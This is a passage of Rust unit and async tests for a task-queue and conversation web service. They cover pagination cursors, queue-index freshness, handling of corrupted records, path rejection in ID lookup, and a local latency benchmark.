23484            let id = seed_talk_at(&ui.talks, &task.id, "open");
23485            let mut talk = ui.talks.get(&id).unwrap();
23486            talk.pending = "history ".repeat(256);
23487            ui.talks.put(&mut talk).unwrap();
23488        }
23489        let mut parent = Task::new(
23490            "parent".into(),
23491            "body".into(),
23492            PathBuf::from("/repo"),
23493            Source::Agent {
23494                run: chat_id.clone(),
23495                node: crate::queue::CHAT_NODE.into(),
23496            },
23497        );
23498        parent.id = "task-parent".into();
23499        parent.runs = vec!["run-parent".into()];
23500        ui.queue.put(&mut parent).unwrap();
23501        let mut child = Task::new(
23502            "child".into(),
23503            "body".into(),
23504            PathBuf::from("/repo"),
23505            Source::Human,
23506        );
23507        child.id = "task-child".into();
23508        child.runs = vec!["run-child".into()];
23509        child.followup = Some(crate::queue::FollowUp {
23510            run: "run-parent".into(),
23511            origin_task: Some(parent.id.clone()),
23512            pr: "https://example.invalid/pr/1".into(),
23513            findings: vec![],
23514            generation: 1,
23515        });
23516        ui.queue.put(&mut child).unwrap();
23517        let mut question = Question::new(
23518            child.id.clone(),
23519            crate::conduct::NODE.into(),
23520            "seat".into(),
23521            "Continue?".into(),
23522            String::new(),
23523            vec![],
23524        );
23525        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23526        assert_eq!(tasks.len(), 2);
23527        assert_eq!(talks.len(), 1);
23528        assert_eq!(
23529            ui.monitor.queue_index.lock().unwrap().reparsed,
23530            0,
23531            "exact ancestry bypasses the index"
23532        );
23533        assert_eq!(
23534            crate::consult::origin_talk(&tasks, &talks, &question)
23535                .unwrap()
23536                .id,
23537            chat_id
23538        );
23539        question.run = "run-child".into();
23540        question.node = "review".into();
23541        for origin_task in [Some(parent.id.clone()), None] {
23542            child.followup.as_mut().unwrap().origin_task = origin_task;
23543            ui.queue.put(&mut child).unwrap();
23544            let (tasks, talks) =
23545                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23546            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23547            let expected =
23548                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23549                    .unwrap();
23550            assert_eq!(actual.id, expected.id);
23551            assert!(!actual.status.open());
23552            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23553            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23554            // Without Unix file identity, every readable record must be
23555            // reparsed to detect same-size, same-mtime replacements safely.
23556            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23557            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23558        }
23559        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23560        ui.queue.put(&mut child).unwrap();
23561        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23562        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23563        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23564        child.origin_chat = Some(chat_id.clone());
23565        ui.queue.put(&mut child).unwrap();
23566        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23567        assert_eq!(
23568            crate::consult::origin_talk(&tasks, &talks, &question)
23569                .unwrap()
23570                .id,
23571            chat_id
23572        );
23573        let revision = question_record_revision(&question);
23574        question.abandon("settled elsewhere");
23575        assert_ne!(revision, question_record_revision(&question));
23576        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23577        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23578        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23579        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23580        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23581    }
23582
23583    #[test]
23584    fn list_cursors_freeze_membership_and_expire_explicitly() {
23585        let home = tempfile::tempdir().unwrap();
23586        let ui = delta_test_ui(home.path());
23587        std::fs::create_dir_all(ui.queue.root()).unwrap();
23588        for i in 0..40 {
23589            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23590        }
23591        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23592        assert_eq!(first.len(), STORE_PAGE_SIZE);
23593        let cursor = cursor.unwrap();
23594        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23595        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23596        let (second, _) = page_ids(
23597            &ui,
23598            false,
23599            PageQuery {
23600                before: Some(cursor.clone()),
23601            },
23602        )
23603        .unwrap();
23604        assert_eq!(second[0], "record-0023");
23605        assert!(second.iter().all(|id| !first.contains(id)));
23606        assert!(
23607            page_ids(
23608                &ui,
23609                true,
23610                PageQuery {
23611                    before: Some(cursor.clone())
23612                }
23613            )
23614            .is_err()
23615        );
23616        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23617        assert_eq!(fresh[0], "record-9999");
23618        ui.monitor.list_walks.lock().unwrap().clear();
23619        assert!(
23620            page_ids(
23621                &ui,
23622                false,
23623                PageQuery {
23624                    before: Some(cursor)
23625                }
23626            )
23627            .is_err()
23628        );
23629    }
23630
23631    #[tokio::test]
23632    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23633        let home = tempfile::tempdir().unwrap();
23634        let ui = delta_test_ui(home.path());
23635        let mut task = Task::new(
23636            "task".into(),
23637            "body".into(),
23638            PathBuf::from("/repo"),
23639            Source::Human,
23640        );
23641        ui.queue.put(&mut task).unwrap();
23642        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23643        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23644        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23645        let expected = parsed + usize::from(!cfg!(unix));
23646        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23647        task.status = crate::queue::TaskStatus::Held;
23648        ui.queue.put(&mut task).unwrap();
23649        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23650        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23651        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23652        ui.queue.put(&mut task).unwrap();
23653        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23654        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23655        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23656    }
23657
23658    #[tokio::test]
23659    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23660        let home = tempfile::tempdir().unwrap();
23661        let ui = delta_test_ui(home.path());
23662        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23663        let before = health(State(ui.clone())).await.unwrap().0;
23664        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23665        let after = health(State(ui)).await.unwrap().0;
23666        assert_ne!(before.notifications_rev, after.notifications_rev);
23667        assert_eq!(after.notifications_unread, 1);
23668    }
23669
23670    #[tokio::test]
23671    async fn list_pages_bound_history_and_keep_dependency_evidence() {
23672        let home = tempfile::tempdir().unwrap();
23673        let ui = delta_test_ui(home.path());
23674        let queue = &ui.queue;
23675        let talks = &ui.talks;
23676        for i in 0..1000 {
23677            let id = format!("20261019-{i:06}-page");
23678            let mut task = Task::new(
23679                "task".into(),
23680                "instruction".repeat(100),
23681                PathBuf::from("/repo/magi"),
23682                Source::Human,
23683            );
23684            task.id = id.clone();
23685            if i == 0 {
23686                task.status = crate::queue::TaskStatus::Held;
23687            } else if i == 999 {
23688                task.status = crate::queue::TaskStatus::Blocked;
23689                task.blocked_by = vec!["20261019-000000-page".into()];
23690            }
23691            queue.put(&mut task).unwrap();
23692            seed_talk_at(talks, &id, "open");
23693        }
23694        let page = serde_json::to_value(
23695            queue_page(State(ui.clone()), Query(PageQuery::default()))
23696                .await
23697                .unwrap()
23698                .0,
23699        )
23700        .unwrap();
23701        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23702        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23703        assert!(
23704            !page["rows"][0]["stuck_roots"]
23705                .as_array()
23706                .unwrap()
23707                .is_empty()
23708        );
23709        let cursor = page["next"].as_str().unwrap();
23710        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23711            .as_str()
23712            .unwrap();
23713        // Deleting an already enumerated file cannot shift or repeat a page.
23714        std::fs::remove_file(queue.path_of(last_id)).unwrap();
23715        let next = serde_json::to_value(
23716            queue_page(
23717                State(ui.clone()),
23718                Query(PageQuery {
23719                    before: Some(cursor.into()),
23720                }),
23721            )
23722            .await
23723            .unwrap()
23724            .0,
23725        )
23726        .unwrap();
23727        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23728        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23729        let chats = serde_json::to_value(
23730            talks_page(State(ui.clone()), Query(PageQuery::default()))
23731                .await
23732                .unwrap()
23733                .0,
23734        )
23735        .unwrap();
23736        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23737        assert!(chats["rows"][0].get("pending").is_none());
23738        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23739        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23740        assert_eq!(counts["held"], 1);
23741        assert_eq!(counts["blocked"], 1);
23742        assert_eq!(counts["queued"], 997);
23743    }
23744
23745    #[test]
23746    fn queue_index_observes_external_replacement_deletion_and_corruption() {
23747        let dir = tempfile::tempdir().unwrap();
23748        let ui = delta_test_ui(dir.path());
23749        let mut task = Task::new(
23750            "task".into(),
23751            "body".into(),
23752            PathBuf::from("/repo"),
23753            Source::Human,
23754        );
23755        task.runs = vec!["run-a".into()];
23756        ui.queue.put(&mut task).unwrap();
23757        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23758        task.runs = vec!["run-b".into()];
23759        let path = ui.queue.path_of(&task.id);
23760        let modified = path.metadata().unwrap().modified().unwrap();
23761        let replacement = path.with_extension("replacement");
23762        let bytes = serde_json::to_vec_pretty(&task).unwrap();
23763        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23764        std::fs::write(&replacement, &bytes).unwrap();
23765        std::fs::File::options()
23766            .write(true)
23767            .open(&replacement)
23768            .unwrap()
23769            .set_times(std::fs::FileTimes::new().set_modified(modified))
23770            .unwrap();
23771        std::fs::rename(&replacement, &path).unwrap();
23772        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23773        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23774        std::fs::write(&path, "broken").unwrap();
23775        assert!(ui.find_task_for_run("run-b").is_err());
23776        std::fs::write(&path, bytes).unwrap();
23777        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23778        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23779        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23780    }
23781
23782    #[tokio::test]
23783    async fn conversation_core_is_independent_of_unreadable_related_history() {
23784        let home = tempfile::tempdir().unwrap();
23785        let ui = delta_test_ui(home.path());
23786        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23787        std::fs::create_dir_all(ui.queue.root()).unwrap();
23788        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23789        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23790            .await
23791            .unwrap();
23792        assert_eq!(core.talk.id, id);
23793        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23794    }
23795
23796    #[tokio::test]
23797    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23798        let home = tempfile::tempdir().unwrap();
23799        let ui = delta_test_ui(home.path());
23800        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23801        let mut run = RunState::new(
23802            PathBuf::from("/repo"),
23803            "main".into(),
23804            "01234567".into(),
23805            "Useful run".into(),
23806            Config::default(),
23807        );
23808        run.save_under(home.path()).unwrap();
23809        let mut task = Task::new(
23810            "Related".into(),
23811            "body".into(),
23812            PathBuf::from("/repo"),
23813            Source::Agent {
23814                run: talk_id.clone(),
23815                node: "chat".into(),
23816            },
23817        );
23818        task.runs = vec![run.id.clone()];
23819        ui.queue.put(&mut task).unwrap();
23820        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23821        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23822        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23823        assert!(
23824            run_detail(State(ui.clone()), Path(run.id.clone()))
23825                .await
23826                .is_ok()
23827        );
23828        assert!(
23829            talk_sections(State(ui.clone()), Path(talk_id.clone()))
23830                .await
23831                .is_ok()
23832        );
23833        // Previously indexed corruption must not masquerade as no relationship.
23834        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23835        assert!(ui.find_task_for_run(&run.id).is_err());
23836        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23837        ui.queue.put(&mut task).unwrap();
23838        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23839    }
23840
23841    #[tokio::test]
23842    async fn conversation_sections_omit_large_task_instructions() {
23843        let home = tempfile::tempdir().unwrap();
23844        let ui = delta_test_ui(home.path());
23845        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23846        let mut task = Task::new(
23847            "filed task".into(),
23848            "large instruction ".repeat(65536),
23849            PathBuf::from("/repo"),
23850            Source::Agent {
23851                run: id.clone(),
23852                node: "chat".into(),
23853            },
23854        );
23855        ui.queue.put(&mut task).unwrap();
23856        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23857        assert_eq!(sections["tasks"][0]["id"], task.id);
23858        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23859        assert!(sections["tasks"][0].get("instruction").is_none());
23860        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
23861    }
23862
23863    #[test]
23864    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23865        let home = tempfile::tempdir().unwrap();
23866        let talks = Talks::at(home.path().join("talks"));
23867        seed_talk_at(&talks, "20261019-000001-abcd", "open");
23868        seed_talk_at(&talks, "20261019-000002-abcd", "open");
23869        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23870        assert!(resolve_talk(&talks, "../outside").is_err());
23871        assert!(resolve_talk(&talks, "abcd").is_err());
23872        assert_eq!(
23873            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23874            "20261019-000001-abcd"
23875        );
23876    }
23877
23878    include!(concat!(
23879        env!("CARGO_MANIFEST_DIR"),
23880        "/tests/web_latency/baseline.rs"
23881    ));
23882
23883    include!(concat!(
23884        env!("CARGO_MANIFEST_DIR"),
23885        "/tests/web_latency/lists.rs"
23886    ));
23887
23888    #[tokio::test]
23889    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23890    async fn web_history_latency_measurement() {
23891        use std::time::Instant;
23892        let home = tempfile::tempdir().unwrap();
23893        let ui = delta_test_ui(home.path());
23894        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23895        let mut template = ui.talks.get(&id).unwrap();
23896        template.turns = serde_json::from_value(serde_json::json!([{
23897            "who": "operator", "body": "Show the accumulated work and its current status.",
23898            "at": Timestamp::now().to_string(),
23899        }]))
23900        .unwrap();
23901        std::fs::write(
23902            ui.talks.path_of(&id),
23903            serde_json::to_vec(&template).unwrap(),
23904        )
23905        .unwrap();
23906        let count = std::env::var("MAGI_BENCH_RECORDS")
23907            .ok()
23908            .and_then(|s| s.parse::<usize>().ok())
23909            .unwrap_or(1000);
23910        for i in 0..count {
23911            template.id = format!("20261019-{i:06}-history");
23912            template.pending = "history ".repeat(2048);
23913            std::fs::write(
23914                ui.talks.path_of(&template.id),
23915                serde_json::to_vec(&template).unwrap(),
23916            )
23917            .unwrap();
23918            let mut task = Task::new(
23919                "old task".into(),
23920                "instruction ".repeat(2048),
23921                PathBuf::from("/repo"),
23922                Source::Human,
23923            );
23924            task.id = format!("20261019-{i:06}-task");
23925            ui.queue.put(&mut task).unwrap();
23926        }
23927        for baseline in [true, false] {
23928            for clients in [1, 4] {
23929                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23930                let mut samples = Vec::new();
23931                for _ in 0..12 {
23932                    let mut jobs = Vec::new();
23933                    for _ in 0..clients {
23934                        let ui = ui.clone();
23935                        let id = id.clone();
23936                        jobs.push(tokio::spawn(async move {
23937                            let start = Instant::now();
23938                            if baseline {
23939                                let response =
23940                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23941                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23942                                return (
23943                                    elapsed,
23944                                    elapsed,
23945                                    serde_json::to_vec(&response).unwrap().len(),
23946                                );
23947                            }
23948                            let core = talk_core(State(ui.clone()), Path(id.clone()));
23949                            let secondary = talk_sections(State(ui), Path(id));
23950                            let (first, total) = tokio::join!(
23951                                async {
23952                                    let value = core.await.unwrap().0;
23953                                    (
23954                                        start.elapsed().as_secs_f64() * 1000.0,
23955                                        serde_json::to_vec(&value).unwrap().len(),
23956                                    )
23957                                },
23958                                async {
23959                                    let value = secondary.await.unwrap().0;
23960                                    (
23961                                        start.elapsed().as_secs_f64() * 1000.0,
23962                                        serde_json::to_vec(&value).unwrap().len(),
23963                                    )
23964                                }
23965                            );
23966                            (first.0, first.0.max(total.0), first.1 + total.1)
23967                        }));
23968                    }
23969                    for job in jobs {
23970                        samples.push(job.await.unwrap());
23971                    }
23972                }
23973                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23974                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23975                first.sort_by(f64::total_cmp);
23976                total.sort_by(f64::total_cmp);
23977                let n = first.len();
23978                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23979                println!(
23980                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23981                    first[n / 2],
23982                    first[(n * 95 / 100).min(n - 1)],
23983                    total[n / 2],
23984                    total[(n * 95 / 100).min(n - 1)],
23985                    samples[0].2
23986                );
23987            }
23988        }
23989    }
23990
23991    #[test]
23992    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23993        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
23994        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23995        assert!(APP_JS.contains("function nextRunRequest(id)"));
23996        assert!(APP_JS.contains("function runShell(id, summary)"));
23997        assert!(APP_JS.contains("function nextTaskRequest(id)"));
23998        assert!(APP_JS.contains("function taskShell(id, summary)"));
23999        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24000    }
24001}